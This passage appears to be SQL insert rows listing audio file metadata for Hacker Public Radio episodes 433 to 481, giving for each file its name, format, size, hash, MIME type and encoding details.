(433,'hpr0433.ogg','ogg',26855048,'268589d3bc8a5e7fcefb2ec57bf5917f636257f3','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(433,'hpr0433.spx','spx',19995168,'640f7625f1c6da532d22de3d7d71c209c057e012','application/ogg; charset=binary','Ogg data, Speex audio'),
(434,'hpr0434.mp3','mp3',32855449,'0285992a43c6d67d3900a3b7861c02807fad6c81','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(434,'hpr0434.ogg','ogg',34236180,'31a3949dc3cdea633a46e838db9334a9406a7522','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(434,'hpr0434.spx','spx',12070158,'a87698f043e3362dc074cb62c6b0373bb3fbd6e8','application/ogg; charset=binary','Ogg data, Speex audio'),
(435,'hpr0435.mp3','mp3',12763200,'698e7c2443ce34b79300bcd993b400d63a48882d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(435,'hpr0435.ogg','ogg',5605331,'56b4446f257d97cb8d86c31db52d097c8d9b5e6d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(435,'hpr0435.spx','spx',5860887,'7879304be3e7f69739bb6891f73eb8bb69a4974c','application/ogg; charset=binary','Ogg data, Speex audio'),
(436,'hpr0436.mp3','mp3',22975761,'d54a303fa0f4ab2b253df734bbfc84b8dc489f5f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2, 128 kbps, 22.05 kHz, Stereo'),
(436,'hpr0436.ogg','ogg',9196817,'d4091a530bb9d84ab839189530fa92f1d7022e2c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(436,'hpr0436.spx','spx',5275443,'acb0091df143788dead15ee47b69788813b37e79','application/ogg; charset=binary','Ogg data, Speex audio'),
(437,'hpr0437.mp3','mp3',2412877,'e8e346c1c35051fbcbf0dbcdd7148c62e44e83ff','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, JntStereo'),
(437,'hpr0437.ogg','ogg',1987499,'47859c5eb0a548e24846196d54965467bd56ad00','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 22050 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(437,'hpr0437.spx','spx',1108164,'a4715cd29279aa6655674de33e0651609e7e7811','application/ogg; charset=binary','Ogg data, Speex audio'),
(438,'hpr0438.mp3','mp3',9644983,'192eff637b0b34f04db5dd74c0bd8552ed0d8548','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Stereo'),
(438,'hpr0438.ogg','ogg',9000416,'7043033bf694ca44be3b9693fd513cf1df08b6dd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(438,'hpr0438.spx','spx',2952809,'9f4d4b2157ca18e3e422ea17546b8fd541c6a8da','application/ogg; charset=binary','Ogg data, Speex audio'),
(439,'hpr0439.mp3','mp3',58940517,'89783fd653a265a64bacd78ea0d91351ff3b1bb9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(439,'hpr0439.ogg','ogg',60783368,'d5c4e23135c4e499a4c3090312234bf7fd8dcbe7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(439,'hpr0439.spx','spx',21652959,'0e7d0694474c1eba5c6fd52f4881ce60b76159bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(440,'hpr0440.mp3','mp3',45950976,'8fd215f2aaed6ba61c765ae558567c3b5dad4e73','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(440,'hpr0440.ogg','ogg',33051864,'9013de497001a6167a99bb84bb58e0964d5a5e0d','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(440,'hpr0440.spx','spx',11928496,'72e411ed1eadd95cc18f78a0fe83de76bfc4351b','application/ogg; charset=binary','Ogg data, Speex audio'),
(441,'hpr0441.mp3','mp3',7747357,'a245bab11e49f293f1419035385547707a1c7759','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(441,'hpr0441.ogg','ogg',6677682,'da1afbaa24674f610aab92eb985008198bd487b0','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(441,'hpr0441.spx','spx',2846184,'a6b47738f79bc254b41926e885b036d468167de3','application/ogg; charset=binary','Ogg data, Speex audio'),
(442,'hpr0442.mp3','mp3',46301184,'eb498c980d98119a181f1547af1fdf87af91c85d','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(442,'hpr0442.ogg','ogg',32679429,'fc08843f886433eb20c718ff3893811afa9fac31','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(442,'hpr0442.spx','spx',11296035,'ca918ec83ed0d4a9b513cefe720e76eba3736801','application/ogg; charset=binary','Ogg data, Speex audio'),
(443,'hpr0443.mp3','mp3',1724544,'ded1487e4f0d03181c681865713729e8fe96637c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(443,'hpr0443.ogg','ogg',2138324,'f2cc932e4f51586f698eb8d333300ec1806101be','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(443,'hpr0443.spx','spx',1583625,'356c3d40a2e5fa70b876906466543852eae7473c','application/ogg; charset=binary','Ogg data, Speex audio'),
(444,'hpr0444.mp3','mp3',6314112,'4c7c6b1e0c0567766f11bf704f49809af795bcf7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(444,'hpr0444.ogg','ogg',6547358,'b92cd9031a531e25209674f69d0728d1700ccfeb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(444,'hpr0444.spx','spx',5090541,'87dac5b1ec9f823698e1d43cb6d77c11314aa795','application/ogg; charset=binary','Ogg data, Speex audio'),
(445,'hpr0445.mp3','mp3',21061775,'797017f1101ad843ed2e3ee24a7516c4cf70cd33','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(445,'hpr0445.ogg','ogg',7592148,'6569644d1860bd89ad3ea1b00fdf54f8ca5100aa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(445,'hpr0445.spx','spx',9406518,'a6ef25b846d8b2723773a356f39c26b1723ddfcf','application/ogg; charset=binary','Ogg data, Speex audio'),
(446,'hpr0446.mp3','mp3',16331264,'b417daf019a3a564f9de46bdcad739a94c33a872','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(446,'hpr0446.ogg','ogg',18346268,'32cc5e62006c7900a803a0e57f2c00ae70f1e30f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(446,'hpr0446.spx','spx',5999602,'13f3f5cb87d1a6ef868ca15dae9c31e5565ca1a5','application/ogg; charset=binary','Ogg data, Speex audio'),
(447,'hpr0447.mp3','mp3',6541440,'885f43441f18617282f944cc07ea830d669ee374','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(447,'hpr0447.ogg','ogg',5138984,'748a5a58c50a23b6e2c4de08906b4ec3e8a41c60','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(447,'hpr0447.spx','spx',1501836,'f214bd92ffac74de377bbe42dbc023b98cbfd517','application/ogg; charset=binary','Ogg data, Speex audio'),
(448,'hpr0448.mp3','mp3',43638784,'616880311d6684b37e36f8a6b5cfbfbc64d15b76','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(448,'hpr0448.ogg','ogg',47428116,'e50b5dcc9371476649d9603672ed88af1f32618e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(448,'hpr0448.spx','spx',16031395,'da96d8b156286ab544f6ebf4ef4086f511f6e8da','application/ogg; charset=binary','Ogg data, Speex audio'),
(449,'hpr0449.mp3','mp3',20569166,'707b647250761f762e28d6914cf9721576a94143','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(449,'hpr0449.ogg','ogg',9016656,'7af929bd76745d99124fb3511db6020625f8a3d6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(449,'hpr0449.spx','spx',9445450,'db5a03cd89764cedc77903bfaaa78e82ffb40a87','application/ogg; charset=binary','Ogg data, Speex audio'),
(450,'hpr0450.mp3','mp3',52947072,'f096b1ffa2e199252c6c3e21497e810338c724ad','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(450,'hpr0450.ogg','ogg',59463274,'d569ac418687756730464ec70a33ba92ec85827c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(450,'hpr0450.spx','spx',19451020,'91c755cdb79759c69271c44d002a3308de3f17fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(451,'hpr0451.mp3','mp3',21263570,'189fc0770c088a0148699eadcd2f82afcadd5131','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, unsynchronized framesMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(451,'hpr0451.ogg','ogg',11213991,'b0500452ca11ef3d6af873879781274eee019549','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(451,'hpr0451.spx','spx',4748264,'f37eb4b2ec7acb95bd28d829b9f26fed7fe1db6f','application/ogg; charset=binary','Ogg data, Speex audio'),
(452,'hpr0452.mp3','mp3',27379008,'e508312d4dc99faee5515f6b2ff3770b3d97d24e','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(452,'hpr0452.ogg','ogg',32995219,'60074019bfd95f77d3766859f558d945f5800050','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(452,'hpr0452.spx','spx',25145605,'b2cec3894dea03d2d8fa169fd6b20e423461da28','application/ogg; charset=binary','Ogg data, Speex audio'),
(453,'hpr0453.mp3','mp3',17939257,'6ca72a9067c995dde9def2cef570e856da412d6a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(453,'hpr0453.ogg','ogg',11721106,'ca25db7d09fa6be7dc7f83ce4aaee4681db626e7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(453,'hpr0453.spx','spx',7306666,'3b1d87562aa1a050ccafaacd7c8adeae52052ddb','application/ogg; charset=binary','Ogg data, Speex audio'),
(454,'hpr0454.mp3','mp3',21309925,'7b445a0731447225bf0308501371c425a8716f61','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(454,'hpr0454.ogg','ogg',7721753,'83243ab475d255cc97560b34f8fb1d6d25974b22','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(454,'hpr0454.spx','spx',9517128,'21a05306020777d0705f50b2da58b9d71fea4d75','application/ogg; charset=binary','Ogg data, Speex audio'),
(455,'hpr0455.mp3','mp3',12881689,'4e55d012d9da262d809db2bc298275ffc2234655','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(455,'hpr0455.ogg','ogg',10905708,'723edb7c0610ad3e8f4687ac17be2e4c78cd67cb','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(455,'hpr0455.spx','spx',2957800,'fff0b987ea0c6cc198229dc3f6b6faa3c3d6139f','application/ogg; charset=binary','Ogg data, Speex audio'),
(456,'hpr0456.mp3','mp3',27458894,'2a9bed112c2611960acb42de0b30dff34fc9ffa7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(456,'hpr0456.ogg','ogg',14476089,'16dc1f06c15a560816ba82da63cda6cbabee7a19','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(456,'hpr0456.spx','spx',6131822,'a0d79e41d279ce71b5fecffe378166650b0adacf','application/ogg; charset=binary','Ogg data, Speex audio'),
(457,'hpr0457.mp3','mp3',13267438,'bb0b441a0140f5e2b121a08c9b2a9d9904fe0d58','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(457,'hpr0457.ogg','ogg',7701114,'27e9ab564e5dbc84e250354bf0c09f2945714d9a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(457,'hpr0457.spx','spx',2962810,'bb98430b59a8defbfb9d7b3a7711e47e08f4d2da','application/ogg; charset=binary','Ogg data, Speex audio'),
(458,'hpr0458.mp3','mp3',21734970,'06a89f7c185230b4371b5881ee3f7206b3f82de8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(458,'hpr0458.ogg','ogg',11114064,'9975eaf6d9ff55a7efa2de10733e54c1242fd69e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(458,'hpr0458.spx','spx',4853664,'a9477b08c73070624f55872fbc2526dd84a30e43','application/ogg; charset=binary','Ogg data, Speex audio'),
(459,'hpr0459.mp3','mp3',6208958,'a83a32996d5e7fb4acc01621e2bd7ea2c296386a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(459,'hpr0459.ogg','ogg',4854571,'42d36e117d1900f9aed775e877c34e6d2dc32484','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(459,'hpr0459.spx','spx',2281096,'327215d8e5410d694f8c67d3c74de9b9263ef701','application/ogg; charset=binary','Ogg data, Speex audio'),
(460,'hpr0460.mp3','mp3',28466742,'79e911074deb8e84dcdea3b99f7f945c08a473c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(460,'hpr0460.ogg','ogg',26579127,'1f7f04f9515d4df0db077c33fd75cfc35cbe5d69','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(460,'hpr0460.spx','spx',9837489,'82285d9166f3a90bcf592c3a43ee1cd4c5b9eeb7','application/ogg; charset=binary','Ogg data, Speex audio'),
(461,'hpr0461.mp3','mp3',4752572,'e470b269c32573714c605afb664f04b4f3c5cf26','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  64 kbps, 22.05 kHz, Monaural'),
(461,'hpr0461.ogg','ogg',5128930,'804883f03240d9af14daffed68320dc299bc3b89','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 22050 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(461,'hpr0461.spx','spx',3797081,'4315dbb998995bb5541c6e5fd201d087770c7efd','application/ogg; charset=binary','Ogg data, Speex audio'),
(462,'hpr0462.mp3','mp3',15675893,'18d9696a48a5057639e24ec9a7cf252a20948c9f','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(462,'hpr0462.ogg','ogg',9747677,'5571fc5075e8879ff0cedf618b53f3248ad4095b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(462,'hpr0462.spx','spx',6313607,'188db9587f1385d63002a9493a0ff0642693f181','application/ogg; charset=binary','Ogg data, Speex audio'),
(463,'hpr0463.mp3','mp3',18239488,'5ef7e60a707485f019e1d23c233646486d5e477a','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(463,'hpr0463.ogg','ogg',6570117,'94a4f891d6e7dfd03f5d8c5ef678f6b2a5ab464c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(463,'hpr0463.spx','spx',8146005,'5c74b156d6b3337e4a24d6374b23e9f823121d16','application/ogg; charset=binary','Ogg data, Speex audio'),
(464,'hpr0464.mp3','mp3',21767629,'8a87090fa80ac8519f05d4cdaef931bc6bf54a74','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(464,'hpr0464.ogg','ogg',14537504,'b225395a0df052e7d068fb2a9ae634b2ec882c7c','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(464,'hpr0464.spx','spx',4997940,'2b28eaf231aed14f7120a2b4555ff28c1637cbf4','application/ogg; charset=binary','Ogg data, Speex audio'),
(465,'hpr0465.mp3','mp3',15539474,'0077b911a9225bc1f4a34445cd9279fa8f72a6d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(465,'hpr0465.ogg','ogg',9036749,'1819af2bd30eaa1de1e98452fbd797db7b3af21c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(465,'hpr0465.spx','spx',3470177,'f5c5bcfc12f138e40086ca90c4f988f7c0e81946','application/ogg; charset=binary','Ogg data, Speex audio'),
(466,'hpr0466.mp3','mp3',2200608,'29a55d82890a8a101ae6d7bf18b558696fb6247a','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(466,'hpr0466.ogg','ogg',2741984,'017850efc16a7e9ceb703412ba9378dfadccc5c6','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(466,'hpr0466.spx','spx',2021221,'a9695fb7daa5c07577b113ab6ac9735bbfe999d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(467,'hpr0467.mp3','mp3',12999376,'715930889c4190acbb302a919615bc3b14f52c8b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(467,'hpr0467.ogg','ogg',4659342,'f15c42bc233daf506f25d6ac6883ab631ce2e333','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(467,'hpr0467.spx','spx',5805530,'a5dec1d3112be2ed573246a4f86b56295e8b2ec8','application/ogg; charset=binary','Ogg data, Speex audio'),
(468,'hpr0468.mp3','mp3',6576737,'1f24971f6057a668948ef2c87786038087245ffb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(468,'hpr0468.ogg','ogg',4822311,'d1b261beb45e28cb26437dc86e692200fba3b971','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(468,'hpr0468.spx','spx',1510139,'f252fceb0125fc61afeea79983f05d2b8cb126a3','application/ogg; charset=binary','Ogg data, Speex audio'),
(469,'hpr0469.mp3','mp3',42294241,'1b8221d4c22188bf85f8214311afb5428f36534d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(469,'hpr0469.ogg','ogg',47565305,'1dff9689284b7659e36cbeb3bc9536f095ead1bd','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(469,'hpr0469.spx','spx',15537649,'e2381f8dc8f6f288719a74cff6cd66cdd6485c23','application/ogg; charset=binary','Ogg data, Speex audio'),
(470,'hpr0470.mp3','mp3',4705892,'80a0d4221238db699a115bb94ae5e6d7ad15f1a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Stereo'),
(470,'hpr0470.ogg','ogg',3835468,'e1f99d7df1af3039cc31b7b1d7db3b938c59477f','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(470,'hpr0470.spx','spx',1728937,'215daed9b55be164a92f5cfefbbea7f1bf673b15','application/ogg; charset=binary','Ogg data, Speex audio'),
(471,'hpr0471.mp3','mp3',32270587,'74de160cd167eedfe51c30655eda627752bfb0ff','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(471,'hpr0471.ogg','ogg',16520337,'f61423779af982b02d7892279e1d67ff23e6af72','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(471,'hpr0471.spx','spx',7206334,'89bd96d10e1a5064b22b0858ef15fa358df23cbb','application/ogg; charset=binary','Ogg data, Speex audio'),
(472,'hpr0472.mp3','mp3',21030567,'a4e281af29d81b722935701106e2a7644bf3024d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Monaural'),
(472,'hpr0472.ogg','ogg',7575497,'c65f72bab9be2ca27c52ccb92eed7755ba415d6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(472,'hpr0472.spx','spx',9392352,'86f20f43138c1e1b2866be47a7c805640c6622bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(473,'hpr0473.mp3','mp3',19418821,'460c30fd9c89b6d4d2d5011d51cd580e76fffff2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(473,'hpr0473.ogg','ogg',21564448,'1186925b9e2a998345b3e99ea8eaeb351c51e43b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(473,'hpr0473.spx','spx',7133966,'2b570a68e804dc5ddfe2ddfb9467002c0fdce6b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(474,'hpr0474.mp3','mp3',12688063,'2315bdde61ef066973cb429acbd914ace389cca9','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v2,  64 kbps, 24 kHz, Monaural'),
(474,'hpr0474.ogg','ogg',9470887,'e364adc4d207fc4224ad00a507dbd4c536fee246','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 24000 Hz, ~40222 bps, created by: Xiph.Org libVorbis I'),
(474,'hpr0474.spx','spx',6274953,'89a5ce19d4da04a87dc6d7847e3dde7491b230b0','application/ogg; charset=binary','Ogg data, Speex audio'),
(475,'hpr0475.mp3','mp3',15573854,'d4c298272a5de490b46dc2b6756c66695a8cf283','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, Stereo'),
(475,'hpr0475.ogg','ogg',12385062,'47effad0086ecb74642604e52b2e256a1d9a4278','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(475,'hpr0475.spx','spx',3574677,'4c5d8cf517d9eb5c16ac2fac4b96b3c2099259ff','application/ogg; charset=binary','Ogg data, Speex audio'),
(476,'hpr0476.mp3','mp3',28248843,'0253394293d0127a56d067a33c95d0faf2cc93eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(476,'hpr0476.ogg','ogg',14434130,'b47c71b3d3bc0b5b5334b1bdd7e26fedcdebd579','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(476,'hpr0476.spx','spx',6308255,'62611e43e880ee5af5443e26a640cfcfdd8cf440','application/ogg; charset=binary','Ogg data, Speex audio'),
(477,'hpr0477.mp3','mp3',2106000,'1e21c6868f0ce880a740d72d0d7ab7f10aa987f7','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(477,'hpr0477.ogg','ogg',2900451,'9293517acc8802c61983282c4c2045e25ea1f515','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(477,'hpr0477.spx','spx',1934295,'1701131db8982e1130a521acbe17bed918c64716','application/ogg; charset=binary','Ogg data, Speex audio'),
(478,'hpr0478.mp3','mp3',23606352,'acb791740c140ee6fc84a635b5ca421f2e518781','audio/mpeg; charset=binary','MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(478,'hpr0478.ogg','ogg',27531871,'009287ee9ed08100605eefc491226c752aba5443','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(478,'hpr0478.spx','spx',21680715,'e5c813af317e6b556cdf817824cb75534d7f2662','application/ogg; charset=binary','Ogg data, Speex audio'),
(479,'hpr0479.mp3','mp3',5659754,'5f4d12873af4d7c2a60fc04eef9d7bca1be1b9a1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 32 kHz, Stereo'),
(479,'hpr0479.ogg','ogg',4453742,'5f476904af1dde2f79d0f402cf8601ec3cb6e5ff','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 32000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(479,'hpr0479.spx','spx',2079269,'8cffea12e55fdf8c4dad04977f7c16371c040e81','application/ogg; charset=binary','Ogg data, Speex audio'),
(480,'hpr0480.mp3','mp3',40689324,'94dc484fec406c9eb656536f83b3aacd846dce95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(480,'hpr0480.ogg','ogg',44039723,'dee98d97315ace724f0d34e20c526a16122a7764','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(480,'hpr0480.spx','spx',14948044,'bc0a857f68167dca9b88884c3e3377ae7e7aad75','application/ogg; charset=binary','Ogg data, Speex audio'),
(481,'hpr0481.mp3','mp3',8280192,'9193b8f738c8c4ddcdcadc2c1766f90e158ef4d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(481,'hpr0481.ogg','ogg',4899892,'5a23a16107975131965a711255998df542487691','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(481,'hpr0481.spx','spx',1848792,'a7b7baee2983ae1b881ff194d48bc2f694acb2f8','application/ogg; charset=binary','Ogg data, Speex audio'),
